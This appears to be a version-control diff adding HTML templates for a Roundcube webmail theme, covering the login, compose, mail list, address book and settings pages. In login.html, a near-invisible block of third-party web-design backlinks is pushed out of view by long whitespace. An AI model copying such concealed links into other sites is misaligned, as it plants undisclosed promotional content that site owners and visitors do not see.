Index: skins/mvision2_en/templates/addressbook.html
===================================================================
--- skins/mvision2_en/templates/addressbook.html	(revision 0)
+++ skins/mvision2_en/templates/addressbook.html	(revision 0)
@@ -0,0 +1,59 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/addresses.css" />
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+
+<div id="abooktoolbar">
+<roundcube:button command="add" imageSel="/images/buttons/add_contact_sel.png" imageAct="/images/buttons/add_contact_act.png" imagePas="/images/buttons/add_contact_pas.png" width="137" height="42" title="newcontact" /><roundcube:button command="delete" imageSel="/images/buttons/delete_cont_sel.png" imageAct="/images/buttons/delete_cont_act.png" imagePas="/images/buttons/delete_cont_pas.png" width="135" height="42" title="deletecontact" /><roundcube:button command="compose" imageSel="/images/buttons/newmessage_sel.png" imageAct="/images/buttons/newmessage_act.png" imagePas="/images/buttons/newmessage_pas.png" width="142" height="42" title="composeto" />
+</div>
+
+<div id="quicksearch"><roundcube:label name="quicksearch" />:</div>
+<div id="quicksearchbar">
+<roundcube:object name="searchform" type="search" results="5" id="quicksearchbox" /><roundcube:button command="reset-search" id="searchreset" image="/images/icons/reset.png" title="resetsearch" />
+</div>
+
+<roundcube:if condition="config:ldap_public" />
+<div id="directorylist">
+<div id="groups-title"><roundcube:label name="groups" /></div>
+<roundcube:object name="directorylist" id="directories-list" />
+</div>
+
+<roundcube:else />
+<style type="text/css">
+#addresslist { left:0px; width:440px }
+#contacts-box { left:441px }
+#abookcountbar { left:45px }
+</style>
+
+<roundcube:endif />
+
+<div id="addresslist">
+<roundcube:object name="addresslist" id="contacts-table" class="records-table" cellspacing="0" summary="Contacts list" />
+</div>
+
+<div id="contacts-box">
+<roundcube:object name="addressframe" id="contact-frame" width="100%" height="100%" frameborder="0" src="/watermark.html" />
+</div>
+
+
+
+<div id="bottom-bar">&nbsp;</div>
+<div id="abookcountbar">
+<div id="abookcountbar-lable">
+<roundcube:button command="firstpage" imageSel="/images/buttons/first_sel.png" imageAct="/images/buttons/first_act.png" imagePas="/images/buttons/first_pas.png" width="11" height="11" title="firstpage" />
+<roundcube:button command="previouspage" imageSel="/images/buttons/previous_sel.png" imageAct="/images/buttons/previous_act.png" imagePas="/images/buttons/previous_pas.png" width="11" height="11" title="previouspage" />
+&nbsp;<roundcube:object name="recordsCountDisplay" />&nbsp;
+<roundcube:button command="nextpage" imageSel="/images/buttons/next_sel.png" imageAct="/images/buttons/next_act.png" imagePas="/images/buttons/next_pas.png" width="11" height="11" title="nextpage" />
+<roundcube:button command="lastpage" imageSel="/images/buttons/last_sel.png" imageAct="/images/buttons/last_act.png" imagePas="/images/buttons/last_pas.png" width="11" height="11" title="lastpage" />
+</div>
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/templates/compose.html
===================================================================
--- skins/mvision2_en/templates/compose.html	(revision 0)
+++ skins/mvision2_en/templates/compose.html	(revision 0)
@@ -0,0 +1,170 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="productname" /> :: <roundcube:label name="compose" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/mail.css" />
+<link rel="stylesheet" type="text/css" href="/googiespell.css" />
+<script type="text/javascript">
+<!--
+
+function rcmail_toggle_display(id)
+  {
+  var row, disp;
+  if (row = document.getElementById(id))
+    {
+    disp = (!row.style.display || row.style.display=='none') ? ((document.all && !window.opera) ? 'block' : 'table-row') : 'none';
+    row.style.display = disp;
+    }
+    
+  return false;
+  }
+
+//-->
+</script>
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+
+<form name="form" action="./" method="post">
+
+<div id="messagetoolbar2">
+<!--<roundcube:button command="list" image="/images/buttons/back_act.png" imageSel="/images/buttons/back_sel.png" imageAct="/images/buttons/back_act.png" width="32" height="32" title="backtolist" />-->
+<roundcube:button command="send" imageSel="/images/buttons/send_sel.png" imageAct="/images/buttons/send_act.png" imagePas="/images/buttons/send_pas.png" width="137" height="42" title="sendmessage" /><roundcube:button command="spellcheck" imageSel="/images/buttons/spellcheck_sel.png" imageAct="/images/buttons/spellcheck_act.png" imagePas="/images/buttons/spellcheck_pas.png" width="120" height="42" title="checkspelling" /><roundcube:button command="add-attachment" imageSel="/images/buttons/attach_sel.png" imageAct="/images/buttons/attach_act.png" imagePas="/images/buttons/attach_pas.png" width="110" height="42" title="addattachment" /><roundcube:button command="savedraft" imageSel="/images/buttons/drafts_sel.png" imageAct="/images/buttons/drafts_act.png" imagePas="/images/buttons/drafts_pas.png" width="103" height="42" title="savemessage" />
+
+
+
+
+
+
+
+
+
+<div id="priority-selector">
+<label for="rcmcomposepriority">
+</div>
+
+
+<div id="receipt-selector">
+<div id="answ"><roundcube:object name="receiptCheckBox" form="form" id="rcmcomposereceipt" />&nbsp;<div id="answ-lable"><label for="rcmcomposereceipt"><roundcube:label name="returnreceipt" /></label></div></div>
+</div>
+
+
+
+
+
+
+
+
+
+</div>
+
+
+<! ------------       ------------ >
+<div id="compose-container">
+<table border="0" cellspacing="0" cellpadding="1" style="width:100%; height:99%;" summary="">
+<tbody>
+<tr>
+<td>
+
+<table border="0" cellspacing="0" cellpadding="1" id="compose-headers" summary="">
+<tbody><tr>
+
+<td class="title"><label for="rcmcomposefrom" id="lable-from"><roundcube:label name="from" /></label></td>
+<td><roundcube:object name="composeHeaders" part="from" form="form" id="rcmcomposefrom" tabindex="1" />
+<! ---------------------------------------------------------- >
+<label for="rcmcomposepriority" id="bg-text"><roundcube:label name="priority" />:</label>&nbsp;<roundcube:object name="prioritySelector" form="form" id="rcmcomposepriority" />
+<! ------------------------------------------------------------------- >
+</td>
+
+</tr><tr>
+
+<td class="title top"><label for="rcmcomposeto" id="lable-to"><roundcube:label name="to" /></label></td>
+<td><roundcube:object name="composeHeaders" part="to" form="form" id="rcmcomposeto" cols="80" rows="2" tabindex="2" /></td>
+<td class="add-button"><a href="#" onclick="return rcmail_toggle_display('compose-cc')">[Cc]</a><br />
+<a href="#" onclick="return rcmail_toggle_display('compose-bcc')">[Bcc]</a><br /></td>
+
+</tr><tr id="compose-cc">
+
+<td class="title top"><label for="rcmcomposecc" id="lable-cc"><roundcube:label name="cc" /></label></td>
+<td><roundcube:object name="composeHeaders" part="cc" form="form" id="rcmcomposecc" cols="80" rows="2" tabindex="3" /></td>
+
+</tr><tr id="compose-bcc">
+
+<td class="title top"><label for="rcmcomposebcc" id="lable-bcc"><roundcube:label name="bcc" /></label></td>
+<td><roundcube:object name="composeHeaders" part="bcc" form="form" id="rcmcomposebcc" cols="80" rows="2" tabindex="4" /></td>
+
+</tr><tr id="compose-replyto">
+
+<td class="title top"><label for="rcmcomposereplyto"><roundcube:label name="replyto" /></label></td>
+<td><roundcube:object name="composeHeaders" part="replyto" form="form" id="rcmcomposereplyto" size="80" tabindex="5" /></td>
+
+</tr><tr>
+
+<td class="title"><label for="compose-subject" id="lable-subject"><roundcube:label name="subject" /></label></td>
+<td><roundcube:object name="composeSubject" id="compose-subject" form="form" tabindex="6" /></td>
+
+</tr>
+</tbody>
+</table>
+
+</td>
+
+</tr><tr>
+
+<td style="width:100%; height:90%; vertical-align:top;">
+<roundcube:object name="composeBody" id="compose-body" form="form" cols="80" rows="20" wrap="virtual" tabindex="7" />
+<!---<div id="answ"><roundcube:object name="receiptCheckBox" form="form" id="rcmcomposereceipt" />&nbsp;<label for="rcmcomposereceipt"><roundcube:label name="returnreceipt" /></label></div>--->
+
+<div id="send-cancel">
+    <table width="100%">
+        <tr>
+            <td>
+                <roundcube:button type="input" command="send" class="button" label="sendmessage" />
+                <roundcube:button type="input" command="list" class="button" label="cancel" />
+            </td>
+            <td align="right">
+                <div style="position: relative;" align="right">
+                <roundcube:label name="editortype" />:&nbsp;
+                <span class="radios-left"><roundcube:object name="editorSelector" /></span>
+            </td>                
+        </tr>
+    </table>
+</div>
+</tr>
+</tbody>
+</table>
+
+</div>
+
+<div id="compose-attachments">
+<!--<div id="attachment-title"><roundcube:label name="attachments" /></div>--->
+<div id="attach">&nbsp;</div>
+<div id="compose-list">
+<roundcube:object name="composeAttachmentList" deleteIcon="/images/icons/remove-attachment.png"/ >
+<p><roundcube:button command="add-attachment" imagePas="/images/buttons/add_pas.png" imageSel="/images/buttons/add_sel.png" imageAct="/images/buttons/add_act.png" width="23" height="18" title="addattachment" />
+</div>
+</div>
+
+</form>
+
+<roundcube:object name="composeAttachmentForm" id="attachment-form" />
+
+<script type="text/javascript">
+<!--
+
+var cc_field = document.form._cc;
+if (cc_field && cc_field.value!='')
+  rcmail_toggle_display('compose-cc');
+var bcc_field = document.form._bcc;
+if (bcc_field && bcc_field.value!='')
+  rcmail_toggle_display('compose-bcc');
+
+//-->
+</script>
+
+
+</body>
+</html>
Index: skins/mvision2_en/templates/editcontact.html
===================================================================
--- skins/mvision2_en/templates/editcontact.html	(revision 0)
+++ skins/mvision2_en/templates/editcontact.html	(revision 0)
@@ -0,0 +1,25 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/addresses.css" />
+</head>
+<body class="iframe">
+
+<div id="contact-title" class="boxtitle"><roundcube:label name="editcontact" /></div>
+
+<div id="contact-details">
+<roundcube:object name="contacteditform" size="40" />
+
+<p><br />
+<roundcube:button command="show" type="input" class="button" label="cancel" />&nbsp;
+<roundcube:button command="save" type="input" class="button" label="save" />
+</p>
+
+</form>
+</div>
+
+
+</body>
+</html>
Index: skins/mvision2_en/templates/editidentity.html
===================================================================
--- skins/mvision2_en/templates/editidentity.html	(revision 0)
+++ skins/mvision2_en/templates/editidentity.html	(revision 0)
@@ -0,0 +1,37 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/settings.css" />
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+<roundcube:include file="/includes/settingstabs.html" />
+
+
+<div id="identities-list">
+<roundcube:object name="itentitiesList" id="identities-table" class="profileedit-table" cellspacing="1" summary="Identities list" editIcon="" />
+
+<p><roundcube:button command="add" type="input" label="newidentity" class="button" /></p>
+
+<div id="identity-details">
+<div id="identity-title"><roundcube:label name="edititem" /></div>
+
+<div style="padding:15px;">
+<roundcube:object name="identityform" size="40" />
+
+<p><br />
+<roundcube:button command="delete" type="input" class="button" label="delete" />&nbsp;
+<roundcube:button command="save" type="input" class="button" label="save" />
+</p>
+</div>
+</div>
+</div>
+
+<roundcube:include file="/includes/settingscripts.html" />
+
+</body>
+</html>
Index: skins/mvision2_en/templates/error.html
===================================================================
--- skins/mvision2_en/templates/error.html	(revision 0)
+++ skins/mvision2_en/templates/error.html	(revision 0)
@@ -0,0 +1,16 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>RoundCube|Mail :: ERROR</title>
+<roundcube:include file="/includes/links.html" />
+</head>
+<body>
+
+<div id="header"></div>
+
+<div style="width:400px; margin:60px auto;">
+$__page_content
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/templates/identities.html
===================================================================
--- skins/mvision2_en/templates/identities.html	(revision 0)
+++ skins/mvision2_en/templates/identities.html	(revision 0)
@@ -0,0 +1,23 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/settings.css" />
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+<roundcube:include file="/includes/settingstabs.html" />
+
+<div id="identities-list">
+<roundcube:object name="itentitiesList" id="identities-table" class="profile-table" cellspacing="1" summary="Identities list" editIcon="" />
+
+<p><roundcube:button command="add" type="input" label="newidentity" class="button" /></p>
+</div>
+
+<roundcube:include file="/includes/settingscripts.html" />
+
+</body>
+</html>
Index: skins/mvision2_en/templates/login.html
===================================================================
--- skins/mvision2_en/templates/login.html	(revision 0)
+++ skins/mvision2_en/templates/login.html	(revision 0)
@@ -0,0 +1,77 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+
+
+
+<link rel="stylesheet" type="text/css" href="/login.css" />
+
+<meta http-equiv="X-UA-Compatible" content="IE=7;FF=3;OtherUA=4;" />
+
+
+<roundcube:include file="/includes/links.html" />
+
+
+</head>
+
+<body>
+
+																																																																																																																																																										<div id="youds" style="position:absolute;width:50px;overflow:hidden;height:10px;right:5px;bottom:5px;font-size:8px;text-align:right;">
+																																																																																																																																																										<!--Please leave this link in to help upkeep hosting costs. Thank you.-->
+																																																																																																																																																										<a href="http://www.youds.com/" style="text-decoration:none;color:#eee;">Theme courtesy of youds.com</a>
+																																																																																																																																																										<a href="http://www.clitheroe-web-design.co.uk/" style="text-decoration:none;color:#eee;">Web Design from Clitheroe</a>
+																																																																																																																																																										<a href="http://www.lancashirewebdesign.co.uk/" style="text-decoration:none;color:#eee;">Web Design from Lancashire</a></div>
+<img src="/images/logo.png" width="165" height="55" border="0" alt="<roundcube:object name='productname' />" hspace="10" />
+
+
+
+<roundcube:object name="message" id="message" />
+
+
+
+<div id="login-form">
+
+
+<div class="boxtitle"><div class="welcome-text"><roundcube:label name="welcome" /></div></div>
+
+
+<div class="boxcontent">
+
+
+
+
+
+<form name="form" action="./" method="post">
+
+<div id="log-in">
+
+<roundcube:object name="loginform" form="form" id="log" />
+
+</div>
+
+
+
+<p style="text-align:center;"><input type="submit" class="login-button" value="<roundcube:label name='login' />" /></p>
+
+
+
+
+
+
+
+</form>
+
+</div>
+
+</div>
+
+
+
+</body>
+
+</html>
+
+
Index: skins/mvision2_en/templates/mail.html
===================================================================
--- skins/mvision2_en/templates/mail.html	(revision 0)
+++ skins/mvision2_en/templates/mail.html	(revision 0)
@@ -0,0 +1,191 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/mail.css" />
+<script type="text/javascript" src="/splitter.js"></script>
+</head>
+<body>
+<div id="loadingLayout"></div>
+<roundcube:include file="/includes/taskbar.html"/>
+<roundcube:include file="/includes/header.html" />
+
+<div id="messagetoolbar"><roundcube:button command="checkmail" imageSel="/images/buttons/inbox_sel.png" imageAct="/images/buttons/inbox_act.png" imagePas="/images/buttons/inbox_pas.png" width="95" height="44" title="checkmail" /><roundcube:button command="compose" imageSel="/images/buttons/compose_sel.png" imageAct="/images/buttons/compose_act.png" imagePas="/images/buttons/compose_pas.png" width="75" height="44" title="writenewmessage" /><roundcube:button command="reply" imageSel="/images/buttons/reply_sel.png" imageAct="/images/buttons/reply_act.png" imagePas="/images/buttons/reply_pas.png" width="65" height="44" title="replytomessage" /><roundcube:button command="reply-all" imageSel="/images/buttons/replyall_sel.png" imageAct="/images/buttons/replyall_act.png" imagePas="/images/buttons/replyall_pas.png" width="100" height="44" title="replytoallmessage" /><roundcube:button command="forward" imageSel="/images/buttons/forward_sel.png" imageAct="/images/buttons/forward_act.png" imagePas="/images/buttons/forward_pas.png" width="76" height="44" title="forwardmessage" /><roundcube:button command="delete" imageSel="/images/buttons/delete_sel.png" imageAct="/images/buttons/delete_act.png" imagePas="/images/buttons/delete_pas.png" width="67" height="44" title="deletemessage" /><roundcube:button command="print" imageSel="/images/buttons/print_sel.png" imageAct="/images/buttons/print_act.png" imagePas="/images/buttons/print_pas.png" width="105" height="44" title="printmessage" /></div>
+
+<div id="quicksearch"><roundcube:label name="quicksearch" />:</div>
+<div id="quicksearchbar">
+
+<roundcube:object name="searchform" type="search" results="5" id="quicksearchbox" /><roundcube:button command="reset-search" id="searchreset" image="/images/icons/reset.png" title="resetsearch" />
+</div>
+
+
+
+
+
+<div id="bottom-bar">&nbsp;</div>
+<div id="messagecountbar">
+<div id="messagecountbar-lable">
+<roundcube:button command="firstpage" imageSel="/images/buttons/first_sel.png" imageAct="/images/buttons/first_act.png" imagePas="/images/buttons/first_pas.png" width="11" height="11" title="firstmessages" />
+<roundcube:button command="previouspage" imageSel="/images/buttons/previous_sel.png" imageAct="/images/buttons/previous_act.png" imagePas="/images/buttons/previous_pas.png" width="11" height="11" title="previousmessages" />
+&nbsp;<roundcube:object name="messageCountDisplay" />&nbsp;
+<roundcube:button command="nextpage" imageSel="/images/buttons/next_sel.png" imageAct="/images/buttons/next_act.png" imagePas="/images/buttons/next_pas.png" width="11" height="11" title="nextmessages" />
+<roundcube:button command="lastpage" imageSel="/images/buttons/last_sel.png" imageAct="/images/buttons/last_act.png" imagePas="/images/buttons/last_pas.png" width="11" height="11" title="lastmessages" />
+</div>
+</div>
+
+<div id="mailboxlist-header"><roundcube:label name="mailboxlist" /></div>
+<div id="mailboxlist-container"><roundcube:object name="mailboxlist" id="mailboxlist" maxlength="16" /></div>
+
+
+<div id="mailboxcontrols">
+<div id="mailboxcontrols-lable">
+<roundcube:label name="folder" />:&nbsp;
+<roundcube:button command="expunge" label="compact" classAct="active" />&nbsp;
+<roundcube:button command="purge" label="empty" classAct="active" />&nbsp;
+</div>
+</div>
+
+
+
+<div id="mailcontframe">
+<roundcube:object name="messages"
+  id="messagelist"
+  cellspacing="1"
+  summary="Message list"
+  messageIcon="/images/icons/dot.png"
+  unreadIcon="/images/icons/unread.png"
+  deletedIcon="/images/icons/deleted.png"
+  repliedIcon="/images/icons/replied.png"
+  attachmentIcon="/images/icons/attachment.png" />
+</div>
+
+
+
+<script type="text/javascript">
+<!--//
+function createCookie(name,value,days) {
+  if (days) {
+    var date = new Date();
+    date.setTime(date.getTime()+(days*24*60*60*1000));
+    var expires = "; expires="+date.toGMTString();
+  }
+  else expires = "";
+  document.cookie = name+"="+value+expires+"; path=/";
+} 
+function readCookie(name) {
+  var nameEQ = name + "=";
+  var ca = document.cookie.split(';'); 
+  for(var i=0;i < ca.length;i++) {
+    var c = ca[i]; 
+    while (c.charAt(0)==' ') c = c.substring(1,c.length); 
+    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
+  }
+  return null;
+}
+
+//-->
+</script>
+
+<script type="text/javascript" src="skins/mvision2_en/paneswitch.js"></script>
+<roundcube:if condition="config:preview_pane_horizontal == true" />
+<script type="text/javascript">
+<!--//
+configSet=true;
+window.onload = function () {
+	var cookie = readCookie("layout");
+	if (cookie && cookie == 'vertical') { 
+		document.styleSheets[1].disabled = false;
+		switchLayout();
+		document.getElementById('loadingLayout').style.display = 'none'
+	} else if (cookie && cookie == 'horizontal') {
+		document.styleSheets[1].disabled = true;
+		switchLayout();
+		setTimeout("switchLayout();switchLayout();document.getElementById('loadingLayout').style.display = 'none';",500);
+	} else {
+		document.styleSheets[1].disabled = true;
+		switchLayout();
+		document.getElementById('loadingLayout').style.display = 'none'
+	}
+}
+//-->
+</script>
+<roundcube:endif />
+<roundcube:if condition="config:preview_pane_vertical == true" />
+<script type="text/javascript">
+<!--//
+configSet=true;
+window.onload = function () {
+	var cookie = readCookie("layout");
+	if (cookie && cookie == 'vertical') { 
+		document.styleSheets[1].disabled = false;
+		switchLayout();
+		document.getElementById('loadingLayout').style.display = 'none'
+	} else if (cookie && cookie == 'horizontal') {
+		document.styleSheets[1].disabled = true;
+		switchLayout();
+		setTimeout("switchLayout();switchLayout();document.getElementById('loadingLayout').style.display = 'none';",500);
+	} else {
+		document.styleSheets[1].disabled = false;
+		switchLayout();
+		document.getElementById('loadingLayout').style.display = 'none'
+	}
+}
+//-->
+</script>
+<roundcube:endif />
+<script type="text/javascript">
+<!--//
+/* Check for Config Requirement */
+if (!configSet){ 
+	window.onload = function () {
+		if (!configSet) alert('Administrator: You have not set the new config requirement');
+	}
+}
+
+/* Which layout */
+function whichLayout() {
+	return (document.styleSheets[1].disabled?'vertical':'horizontal');
+}
+/* Set cookie */
+window.onunload = function(e) {
+	createCookie('layout',whichLayout(),365*100);
+}
+
+//-->
+</script>
+<div id="mailpreviewframe">
+<roundcube:object name="messagecontentframe" id="messagecontframe" width="100%" height="100%" frameborder="0" src="/preview.html" />
+</div>
+
+
+
+
+
+
+
+<div id="listcontrols">
+<div id="listcontrols-lable">
+<roundcube:label name="select" />:&nbsp;
+<roundcube:button command="select-all" label="all" classAct="active" />&nbsp;
+<roundcube:button command="select-all" prop="unread" label="unread" classAct="active" />&nbsp;
+<roundcube:button command="select-none" label="none" classAct="active" /> &nbsp;&nbsp;&nbsp;
+Layout: <a href="#" title="Click to switch view" class="active" id="switchLayout" onclick="switchLayout()">Horizontal</a>
+&nbsp;&nbsp;&nbsp;
+<roundcube:if condition="env:quota" />
+<roundcube:label name="quota" />: <roundcube:object name="quotaDisplay" display="image" width="120" id="quotadisplay" />
+<roundcube:endif />
+</div>
+</div>
+</script>
+
+
+
+
+
+
+
+
+
+</body>
+</html>
Index: skins/mvision2_en/templates/managefolders.html
===================================================================
--- skins/mvision2_en/templates/managefolders.html	(revision 0)
+++ skins/mvision2_en/templates/managefolders.html	(revision 0)
@@ -0,0 +1,41 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/settings.css" />
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+<roundcube:include file="/includes/settingstabs.html" />
+
+<form name="subscriptionform" action="./" onsubmit="rcmail.command('create-folder');return false;">
+
+<div id="folder-manager">
+<roundcube:object name="foldersubscription" form="subscriptionform" id="subscription-table"
+  cellpadding="1" cellspacing="1" summary="Folder subscription table"
+  deleteIcon="/images/icons/folder-trash.png"
+  renameIcon="/images/icons/edit.png" />
+</div>
+
+<div id="bottomboxes">
+<div class="settingsbox">
+<div class="boxtitle"><roundcube:label name="createfolder" /></div>
+
+<div class="settingspart">
+<roundcube:label name="foldername" />:&nbsp;
+<roundcube:object name="createfolder" form="subscriptionform" />
+<roundcube:button command="create-folder" type="input" class="button" label="create" />
+</div>
+</div>
+
+</div>
+
+</form>
+
+<roundcube:include file="/includes/settingscripts.html" />
+
+</body>
+</html>
Index: skins/mvision2_en/templates/message.html
===================================================================
--- skins/mvision2_en/templates/message.html	(revision 0)
+++ skins/mvision2_en/templates/message.html	(revision 0)
@@ -0,0 +1,43 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/mail.css" />
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+
+<! ---------------  1  9 ------------- >
+<div id="bottom-bar">&nbsp;</div>
+<div id="messagecountbar">
+<div id="messagecountbar-lable2">
+<roundcube:button command="firstmessage" imageSel="/images/buttons/first_sel.png" imageAct="/images/buttons/first_act.png" imagePas="/images/buttons/first_pas.png" width="11" height="11" title="firstmessage" />
+<roundcube:button command="previousmessage" imageSel="/images/buttons/previous_sel.png" imageAct="/images/buttons/previous_act.png" imagePas="/images/buttons/previous_pas.png" width="11" height="11" title="previousmessage" />
+&nbsp;<roundcube:object name="messageCountDisplay" />&nbsp;
+<roundcube:button command="nextmessage" imageSel="/images/buttons/next_sel.png" imageAct="/images/buttons/next_act.png" imagePas="/images/buttons/next_pas.png" width="11" height="11" title="nextmessage" />
+<roundcube:button command="lastmessage" imageSel="/images/buttons/last_sel.png" imageAct="/images/buttons/last_act.png" imagePas="/images/buttons/last_pas.png" width="11" height="11" title="lastmessage" />
+</div>
+</div>
+<! ---------------------------------------------- >
+
+
+<div id="messagetoolbar">
+<roundcube:button command="list" image="/images/buttons/back_act.png" imageSel="/images/buttons/back_sel.png" imageAct="/images/buttons/back_act.png" width="67" height="44" title="backtolist" /><roundcube:button command="compose" imageSel="/images/buttons/compose_sel.png" imageAct="/images/buttons/compose_act.png" imagePas="/images/buttons/compose_pas.png" width="75" height="44" title="writenewmessage" /><roundcube:button command="reply" imageSel="/images/buttons/reply_sel.png" imageAct="/images/buttons/reply_act.png" imagePas="/images/buttons/reply_pas.png" width="65" height="44" title="replytomessage" /><roundcube:button command="reply-all" imageSel="/images/buttons/replyall_sel.png" imageAct="/images/buttons/replyall_act.png" imagePas="/images/buttons/replyall_pas.png" width="100" height="44" title="replytoallmessage" /><roundcube:button command="forward" imageSel="/images/buttons/forward_sel.png" imageAct="/images/buttons/forward_act.png" imagePas="/images/buttons/forward_pas.png" width="76" height="44" title="forwardmessage" /><roundcube:button command="delete" imageSel="/images/buttons/delete_sel.png" imageAct="/images/buttons/delete_act.png" imagePas="/images/buttons/delete_pas.png" width="67" height="44" title="deletemessage" /><roundcube:button command="viewsource" imageSel="/images/buttons/source_sel.png" imageAct="/images/buttons/source_act.png" imagePas="/images/buttons/source_pas.png" width="69" height="44" title="viewsource" /><roundcube:button command="print" imageSel="/images/buttons/print_sel.png" imageAct="/images/buttons/print_act.png" imagePas="/images/buttons/print_pas.png" width="105" height="44" title="printmessage" />
+<roundcube:object name="mailboxlist" type="select" noSelection="moveto" maxlength="25" onchange="rcmail.command('moveto', this.options[this.selectedIndex].value)" class="mboxlist" />
+</div>
+
+<div id="mailboxlist-header"><roundcube:label name="mailboxlist" /></div>
+<div id="mailboxlist-container"><roundcube:object name="mailboxlist" id="mailboxlist" maxlength="16" /></div>
+
+<div id="messageframe">
+<roundcube:object name="messageHeaders" class="headers-table" cellspacing="0" cellpadding="2" addicon="/images/icons/plus.png" summary="Message headers" />
+<roundcube:object name="messageAttachments" id="attachment-list" />
+<roundcube:object name="blockedObjects" id="remote-objects-message" />
+<roundcube:object name="messageBody" id="messagebody" showImages="true" />
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/templates/messagepart.html
===================================================================
--- skins/mvision2_en/templates/messagepart.html	(revision 0)
+++ skins/mvision2_en/templates/messagepart.html	(revision 0)
@@ -0,0 +1,22 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/mail.css" />
+</head>
+<body class="extwin">
+
+<roundcube:include file="/includes/header.html" />
+
+<div id="partheader">
+<roundcube:object name="messagePartControls" cellpadding="2" cellspacing="0" />
+</div>
+
+
+<div id="messagepartcontainer">
+<roundcube:object name="messagePartFrame" id="messagepartframe" width="100%" height="85%" />
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/templates/messagepreview.html
===================================================================
--- skins/mvision2_en/templates/messagepreview.html	(revision 0)
+++ skins/mvision2_en/templates/messagepreview.html	(revision 0)
@@ -0,0 +1,20 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<link rel="stylesheet" type="text/css" href="/common.css" />
+<link rel="stylesheet" type="text/css" href="/mail.css" />
+</head>
+<body class="preview">
+
+<div class="messageheaderbox">
+<roundcube:object name="messageHeaders" class="headers-table" cellspacing="0" cellpadding="2" addicon="/images/icons/plus.png" summary="Message headers" />
+<roundcube:object name="messageAttachments" id="attachment-list" />
+</div>
+
+<roundcube:object name="blockedObjects" id="remote-objects-message" />
+<roundcube:object name="messageBody" id="messagebody" />
+
+
+</body>
+</html>
Index: skins/mvision2_en/templates/printmessage.html
===================================================================
